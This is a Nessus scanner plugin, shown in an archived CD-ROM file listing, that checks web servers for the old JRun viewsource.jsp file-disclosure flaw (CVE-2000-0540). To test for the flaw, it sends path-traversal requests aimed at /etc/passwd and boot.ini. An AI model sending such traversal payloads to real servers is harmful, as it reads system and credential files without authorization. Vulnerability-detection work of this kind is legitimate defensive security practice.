home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / jrun.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  99 lines

  1. #
  2. # Updated by HDM <hdm@digitaloffense.net> to work for Unix servers
  3. # (also, it seems that JRun runs as r00t on Solaris by default!)
  4. #
  5.  
  6. #
  7. # Thanks to Scott Clark <quualudes@yahoo.com> for testing this
  8. # plugin and helping me to write a Nessus script in time for
  9. # this problem
  10. #
  11.  
  12. if(description)
  13. {
  14.  script_id(10444); 
  15.  script_bugtraq_id(1386);
  16.  script_version ("$Revision: 1.17 $");
  17.  script_cve_id("CVE-2000-0540");
  18.  name["english"] = "JRun's viewsource.jsp";
  19.  
  20.  
  21.  script_name(english:name["english"]);
  22.  
  23.  desc["english"] = "
  24. The CGI viewsource.jsp is installed.
  25. This CGI allows an attacker to download any file
  26. from the remote host, with the privileges of
  27. the web server.
  28.  
  29. Solution: Remove the JSP sample files or upgrade to JRUN 2.3.3 or higher.
  30. Risk factor : High
  31. See also : http://www.macromedia.com/devnet/security/security_zone/asb00-15.html";
  32.  
  33.  
  34.  
  35.  script_description(english:desc["english"]);
  36.  
  37.  summary["english"] = "Determines the presence of the jrun flaw";
  38.  
  39.  script_summary(english:summary["english"]);
  40.  
  41.  script_category(ACT_GATHER_INFO);
  42.  
  43.  
  44.  script_copyright(english:"This script was written by Renaud Deraison");
  45.  
  46.  family["english"] = "CGI abuses";
  47.  family["francais"] = "Abus de CGI";
  48.  
  49.  script_family(english:family["english"], francais:family["francais"]);
  50.  
  51.  script_dependencie("find_service.nes", "no404.nasl");
  52.  script_require_ports("Services/www", 8000);
  53.  exit(0);
  54. }
  55.  
  56. #
  57. # The script code starts here
  58. #
  59.  
  60.  
  61. include("http_func.inc");
  62.  
  63.  
  64.  
  65. file[0] = "/../../../../../../../../../boot.ini";    res[0] = "boot loader";
  66. file[1] = "/../../../../../../../../../etc/passwd";  res[1] = "root:";
  67.  
  68.  
  69. port = get_http_port(default:8000);
  70.  
  71. if(!get_port_state(port)){ exit(0); }
  72.  
  73. function check_page(req, pat)
  74. {
  75.     str = http_get(item:req, port:port);
  76.     soc = open_sock_tcp(port);
  77.     if(soc)
  78.     {
  79.         send(socket:soc, data:str);
  80.         r = http_recv(socket:soc);
  81.     http_close_socket(soc);
  82.        if(pat >< r)
  83.             {
  84.                 security_hole(port:port);
  85.                 close(soc);
  86.                 exit(0);
  87.             }
  88.      }
  89.     return(0);
  90. }
  91.  
  92.  
  93. for(i=0;file[i];i=i+1)
  94. {
  95.     req = string("/jsp/jspsamp/jspexamples/viewsource.jsp?source=", file[i]);
  96.     pat = res[i];
  97.     check_page(req:req, pat:pat);
  98. }
  99.